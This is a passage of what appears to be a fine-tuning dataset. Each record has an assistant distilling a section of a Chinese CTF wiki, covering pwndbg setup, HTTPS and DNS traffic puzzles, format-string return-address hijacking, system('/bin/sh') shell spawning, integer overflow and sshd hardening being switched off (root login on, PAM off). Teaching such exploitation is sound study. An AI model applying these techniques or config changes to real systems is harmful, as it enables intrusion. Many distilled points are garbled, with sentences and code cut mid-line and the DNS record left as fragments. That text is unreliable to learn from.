"type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-33b25452329e722a6236", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「安装 pwndbg」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：pwn-related tools > 在本地直接搭建 CTF Pwn 做题环境 > 安装 pwndbg\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“安装 pwndbg”展开。\n- pwndbg (/paʊnˈdiˌbʌɡ/) 是一个强大的 GDB 插件，通过该插件我们可以在调试时很方便地查看运行环境以及获取堆内存布局等信息。\n- pwndbg 项目自带了安装脚本，因此我们可以很方便地从源码进行安装： ``shell git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh ` 对于使用 nix 包管理器的发行版（如 NixOS），你可以通过如下命令进行安装： `shell nix shell github:pwndbg/pwndbg pwndbg ./your-binary ``\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- environment.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 3 行，首行 `git clone https://github.com/pwndbg/pwndbg`\n- shell: 2 行，首行 `nix shell github:pwndbg/pwndbg`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 333, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "安装 pwndbg", "heading_path": ["pwn-related tools", "在本地直接搭建 CTF Pwn 做题环境", "安装 pwndbg"], "original_id": "docs-5a7806fd839e182eafee", "original_line": 852, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "e971d6bfa152af2e0752c3ec", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "environment.md", "code:shell"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-34b6ca3a9f78a4ebe368", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/https.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/https.md`\n标题：HTTPS\n章节：HTTPS > 例题\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- 打开流量包发现是 SSL 加密过的数据,导入题目提供的server.key.insecure,即可解密\n- ```xml GET /key.html HTTP/1.1 Host: localhost\n- HTTP/1.1 200 OK Date: Fri, 20 Nov 2015 14:16:24 GMT Server: Apache/2.4.7 (Ubuntu) Last-Modified: Fri, 20 Nov 2015 14:15:54 GMT ETag: \"1c-524f98378d4e1\" Accept-Ranges: bytes Content-Length: 28 Content-Type: text/html\n\n关键术语：\n- misc\n- traffic\n- protocols\n- https.md\n- code:xml\n\n代码/命令片段线索：\n- xml: 11 行，首行 `GET /key.html HTTP/1.1`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 393, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "例题", "heading_path": ["HTTPS", "例题"], "original_id": "docs-a36560f4d3eb08dfb272", "original_line": 32, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/https.md", "source_root": "docs", "source_sha256": "0b8897f5aa797ba99907b96b1e079db57646239e6d1cb5e587fa4cf96d18fa26", "split": "train", "split_group_key": "5c941bb2125bd772848454ac", "subcategory": "misc/traffic/protocols", "terms": ["misc", "traffic", "protocols", "https.md", "code:xml"], "title": "HTTPS"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/https.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-36b723ca8fbe74008693", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/summary/get-shell.md` 中的章节「system」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/summary/get-shell.md`\n标题：shell 获取小结\n章节：shell 获取小结 > system\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- system 的地址 - \"/bin/sh\"， “sh” 地址 - binary 里面是否字符串 - 考虑个人读取对应字符串 - libc 中其实是有 /bin/sh 的 在 system 获取 shell 时，一个非常好的优点在于我们只需要布置一个参数就可以了，缺点就是我们在布置参数时，可能因为破坏了环境变量而无法执行。\n- 我们这里一般是执行 system(\"/bin/sh\")，system('sh') 等函数。\n- 这里我们主要需要找到一些地址，可以参考获取地址的小节。\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- summary\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 244, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "system", "heading_path": ["shell 获取小结", "system"], "original_id": "docs-ba096a4f174d10d20901", "original_line": 1385, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/summary/get-shell.md", "source_root": "docs", "source_sha256": "103b8957240f4da4161c0b3d9ef00609d7d5792c37d29472f350862d5ab38a0b", "split": "train", "split_group_key": "98550b02e43ded8c3bc6ff79", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "summary"], "title": "shell 获取小结"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/summary/get-shell.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3994cbecad33ff825703", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「修改地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > hijack retaddr > 例子 > 修改地址\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“修改地址”展开。\n- 与此同时栈上，第一个元素存储的也就是上一个函数的 rbp。\n- 所以我们可以得到偏移 0x00007fffffffdb80 - 0x00007fffffffdb48 = 0x38。\n- 0x0000000000400d74 与 0x00000000004008A6 只有低 2 字节不同，所以我们可以只修改 0x00007fffffffdb48 开始的 2 个字节。\n- 这里需要说明的是在某些较新的系统(如 ubuntu 18.04)上, 直接修改返回地址为 0x00000000004008A6 时可能会发生程序 crash, 这时可以考虑修改返回地址为 0x00000000004008AA, 即直接调用 system(\"/bin/sh\") 处 `assembly .text:00000000004008A6 sub_4008A6 proc near .text:00000000004008A6 ;\n- \"/bin/sh\" .text:00000000004008AF call system .text:00000000004008B4 pop rdi .text:00000000004008B5 pop rsi .text:00000000004008B6 pop rdx .text:00000000004008B7 retn ``\n\n关键术语：\n- 栈\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:text\n- code:assembly\n\n代码/命令片段线索：\n- text: 8 行，首行 `0x00007fffffffdb40│+0x00: 0x00007fffffffdb80 → 0x00007fffffffdc30 → 0x0000000000400eb0 → push r15 ← $rsp, $rbp`\n- assembly: 10 行，首行 `.text:00000000004008A6 sub_4008A6 proc near`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1311, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "修改地址", "heading_path": ["例子", "hijack retaddr", "例子", "修改地址"], "original_id": "docs-8171edcec104ca9568de", "original_line": 868, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "b52aa62da9196f87a442b311", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "pwn", "linux", "user-mode", "fmtstr", "code:text", "code:assembly"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3c32a95466c576bada49", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/gif.md` 中的章节「空间轴」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/gif.md`\n标题：GIF\n章节：GIF > 空间轴\n路径分类：misc / misc/picture/gif.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“空间轴”展开。\n- 对于需要分离的GIF文件,可以使用convert命令将其每一帧分割开来 ``console $ convert cake.gif cake.png $ ls cake-0.png cake-1.png cake-2.png cake-3.png cake.gif ``\n- 由于GIF的动态特性，由一帧帧的图片构成，所以每一帧的图片，多帧图片间的结合，都成了隐藏信息的一种载体。\n\n关键术语：\n- misc\n- picture\n- gif.md\n- code:console\n\n代码/命令片段线索：\n- console: 3 行，首行 `$ convert cake.gif cake.png`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 193, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "空间轴", "heading_path": ["GIF", "空间轴"], "original_id": "docs-d9947afb0e2208ae97f9", "original_line": 575, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/gif.md", "source_root": "docs", "source_sha256": "4ab7c472b31541161ddb401ad7439593a656caf10fd24929eb2630025ebe9f8b", "split": "train", "split_group_key": "7cadfdf0f26cf95a47f8b664", "subcategory": "misc/picture/gif.md", "terms": ["misc", "picture", "gif.md", "code:console"], "title": "GIF"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/gif.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-41a8ea405423a1aad853", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/introduction.md` 中的章节「printf/puts」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/introduction.md`\n标题：FILE结构\n章节：else > printf/puts\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“printf/puts”展开。\n- printf的调用栈回溯如下，同样是通过_IO_file_xsputn实现 `` vfprintf+11 _IO_file_xsputn _IO_file_overflow funlockfile _IO_file_write write ``\n- printf和puts是常用的输出函数，在printf的参数是以'\\n'结束的纯字符串时，printf会被优化为puts函数并去除换行符。\n- puts在源码中实现的函数是_IO_puts，这个函数的操作与fwrite的流程大致相同，函数内部同样会调用vtable中的_IO_sputn，结果会执行_IO_new_file_xsputn，最后会调用到系统接口write函数。\n\n关键术语：\n- 边界/溢出\n- 栈\n- pwn\n- linux\n- user-mode\n- io-file\n\n代码/命令片段线索：\n- plain: 6 行，首行 `vfprintf+11`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 314, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "printf/puts", "heading_path": ["else", "printf/puts"], "original_id": "docs-5d8f760777356504657f", "original_line": 1213, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/introduction.md", "source_root": "docs", "source_sha256": "cb6cf56af2c8c526d0304c33b1de80b90361eeb7e677460850bf168879808566", "split": "train", "split_group_key": "a0e1543a08e1f665055b621f", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "pwn", "linux", "user-mode", "io-file"], "title": "FILE结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-424acf7b8544ff65c782", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「enable ssh login」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：enable ssh login\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“enable ssh login”展开。\n- RUN rm -f /etc/service/sshd/down RUN sed -ri 's/^#?\n- PermitRootLogin\\s+.*/PermitRootLogin yes/' /etc/ssh/sshd_config &&\\ sed -ri 's/#UseDNS\\ no/UseDNS\\ no/g' /etc/ssh/sshd_config && \\ sed -ri \"s/StrictModes yes/StrictModes no/g\" /etc/ssh/sshd_config && \\ sed -ri \"s/UsePAM yes/UsePAM no/g\" /etc/ssh/sshd_config\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- environment.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 311, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "enable ssh login", "heading_path": ["enable ssh login"], "original_id": "docs-18852dd5068b16871a92", "original_line": 842, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "1569be1d3dadfaf59d23c0e2", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "environment.md"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4705f69431287f4a2efa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/integeroverflow/introduction.md` 中的章节「assembly code」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/integeroverflow/introduction.md`\n标题：整数溢出\n章节：assembly code\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“assembly code”展开。\n- add word ptr [rbp - 0x1a], 1 `` 上界溢出有两种情况，一种是 0x7fff + 1， 另一种是 0xffff + 1。\n- 所以 add 0x7fff, 1 == 0x8000，这种上界溢出对无符号整型就没有影响，但是在有符号短整型中，0x7fff 表示的是 32767，但是 0x8000 表示的是 -32768，用数学表达式来表示就是在有符号短整型中 32767+1 == -32768。\n- 再从数字层面看看这种溢出的结果，在有符号短整型中，0xffff==-1，-1 + 1 == 0，从有符号看这种计算没问题。\n- 因为计算机底层指令是不区分有符号和无符号的，数据都是以二进制形式存在(编译器的层面才对有符号和无符号进行区分，产生不同的汇编指令)。\n- 第二种情况是 add 0xffff, 1，这种情况需要考虑的是第一个操作数。\n\n关键术语：\n- 边界/溢出\n- pwn\n- linux\n- user-mode\n- integeroverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 661, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "assembly code", "heading_path": ["assembly code"], "original_id": "docs-a0189cc8da54843a07d2", "original_line": 1191, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/integeroverflow/introduction.md", "source_root": "docs", "source_sha256": "959bb364d37f2e799d50154207a0ed57e01a3cf27d5bd74723e161e6e9a941f6", "split": "train", "split_group_key": "6170d89464d7d6e2a1187e29", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "pwn", "linux", "user-mode", "integeroverflow"], "title": "整数溢出"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/integeroverflow/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-482e1074ec9f87563d66", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/recon.md` 中的章节「网络信息搜集技巧」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/recon.md`\n标题：信息搜集技术\n章节：信息搜集技术 > 网络信息搜集技巧\n路径分类：misc / misc/recon.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“网络信息搜集技巧”展开。\n- 公开渠道 - 目标 Web 网页、地理位置、相关组织 - 组织结构和人员、个人资料、电话、电子邮件 - 网络配置、安全防护机制的策略和技术细节 - 通过搜索引擎查找特定安全漏洞或私密信息的方法 - Google Hacking Database - 科学上网\n\n关键术语：\n- 漏洞利用\n- misc\n- recon.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 186, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "网络信息搜集技巧", "heading_path": ["信息搜集技术", "网络信息搜集技巧"], "original_id": "docs-306617ede288093d1cb2", "original_line": 543, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/recon.md", "source_root": "docs", "source_sha256": "682e28f778222ce72ccf2bcc56f706100fc10b29aa1d2772c225eee35751a0b3", "split": "train", "split_group_key": "1e7b6ac5848f268622bb217d", "subcategory": "misc/recon.md", "terms": ["漏洞利用", "misc", "recon.md"], "title": "信息搜集技术"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/recon.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-48aba8fb16f57aa3f942", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/ftp.md` 中的章节「FTP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/ftp.md`\n标题：FTP\n章节：FTP\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 在开发网站的时候，通常利用 FTP 协议把网页或程序传到 Web 服务器上。\n- 其中 FTP 服务器用来存储文件，用户可以使用 FTP 客户端通过 FTP 协议访问位于 FTP 服务器上的资源。\n- FTP ( File Transfer Protocol ，即文件传输协议)是 TCP/IP 协议组中的协议之一。\n- 默认情况下 FTP 协议使用 TCP 端口中的 20 和 21 这两个端口，其中 20 用于传输数据， 21 用于传输控制信息。\n- 但是，是否使用 20 作为传输数据的端口与 FTP 使用的传输模式有关，如果采用主动模式，那么数据传输端口就是 20 ；\n- FTP 协议包括两个组成部分，其一为 FTP 服务器，其二为 FTP 客户端。\n\n关键术语：\n- 漏洞利用\n- misc\n- traffic\n- protocols\n- ftp.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 435, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "FTP", "heading_path": ["FTP"], "original_id": "docs-5853703a7a9bc5c5cccb", "original_line": 605, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/ftp.md", "source_root": "docs", "source_sha256": "ac486db205b98b63018fd624238c093289e1b3557ec3bd4f2246eb61f70b27b1", "split": "train", "split_group_key": "1c6141b8154c00b3fc434e9f", "subcategory": "misc/traffic/protocols", "terms": ["漏洞利用", "misc", "traffic", "protocols", "ftp.md"], "title": "FTP"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/ftp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-49877fd7da0d09494c76", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/introduction.md` 中的章节「杂项简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/introduction.md`\n标题：杂项简介\n章节：杂项简介\n路径分类：misc / misc/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“杂项简介”展开。\n- 现实的取证需要从业者能够找出间接的恶意行为证据：攻击者攻击系统的痕迹，或是内部威胁行为的痕迹。\n- 在 Misc 这一章节中，将从以下几个方面介绍这一块的知识： - Recon（信息搜集） 主要介绍一些获取信息的渠道和一些利用百度、谷歌等搜索引擎的技巧 - Encode（编码转换） 主要介绍在 CTF 比赛中一些常见的编码形式以及转换的技巧和常见方式 - Forensic && Stego（数字取证 && 隐写分析） 隐写取证是 Misc 中最为重要的一块，包括文件分析、隐写、内存镜像分析和流量抓包分析等等，涉及巧妙的编码、隐藏数据、层层嵌套的文件中的文件，灵活利用搜索引擎获取所需要的信息等等。\n- Misc 在国外的比赛中其实又被具体划分为各个小块，有 - Recon - Forensic - Stego - Misc - …… 在国内的比赛中，被统一划分入 Misc 领域，有时 Crypto（尤其是古典密码）也被划入其中。\n- Misc 考察基本知识，对安全技能的各个层面都有不同程度的涉及，可以在很大程度上启发思维。\n- Misc 是英文 Miscellaneous 的前四个字母，杂项、混合体、大杂烩的意思。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- misc\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 802, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "杂项简介", "heading_path": ["杂项简介"], "original_id": "docs-2439d9d03c1c765355d0", "original_line": 538, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/introduction.md", "source_root": "docs", "source_sha256": "22ae5a22ae912039593ab47f2666cc1e664b0bb29fb5959bc61c29cc37845e65", "split": "train", "split_group_key": "b7b256e865c02a1b0fb98123", "subcategory": "misc/introduction.md", "terms": ["密码学", "漏洞利用", "misc", "introduction.md"], "title": "杂项简介"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4af7ae7463a6d695ea4e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/dns.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/dns.md`\n标题：DNS\n章节：DNS > 例题\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- 2017-02-01T21:04:00-08:00 IEND console (sirvimes) console (sirvimes) Good luck!\n- Seriously, d[ good luck. :)+ ` flag 确实包含在其中,但是有大量重复信息,一是应为question 。\n- ` %2A} %2A} %2A}q %2A}x %2A} IHDR gAMA bKGD pHYs tIME IDATx HBBH CxRH!\n- IHDR gAMA bKGD pHYs IHDR gAMA bKGD pHYs tIME IDATx ...\n- That was dnscat2 traffic on a flaky connection with lots of re-transmits.\n\n关键术语：\n- 漏洞利用\n- misc\n- traffic\n- protocols\n- dns.md\n- code:python\n\n代码/命令片段线索：\n- python: 7 行，首行 `find = \"\"`\n- plain: 22 行，首行 `Welcome to dnscap! The flag is below, have fun!!`\n- plain: 26 行，首行 `%2A}`\n- plain: 7 行，首行 `MESSAGE_TYPE_MSG: [0x01]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 1830, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "例题", "heading_path": ["DNS", "例题"], "original_id": "docs-13439e74f904baba002b", "original_line": 603, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/dns.md", "source_root": "docs", "source_sha256": "0de1f64a240ad47b4864dcc352edcb08b8d8414ae760c1847b2cefa388bfa2eb", "split": "train", "split_group_key": "d6ee00ddcd33c078d0376fe1", "subcategory": "misc/traffic/protocols", "terms": ["漏洞利用", "misc", "traffic", "protocols", "dns.md", "code:python"], "title": "DNS"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/dns.md", "split": "train", "type": "ctf_lora_sft"}
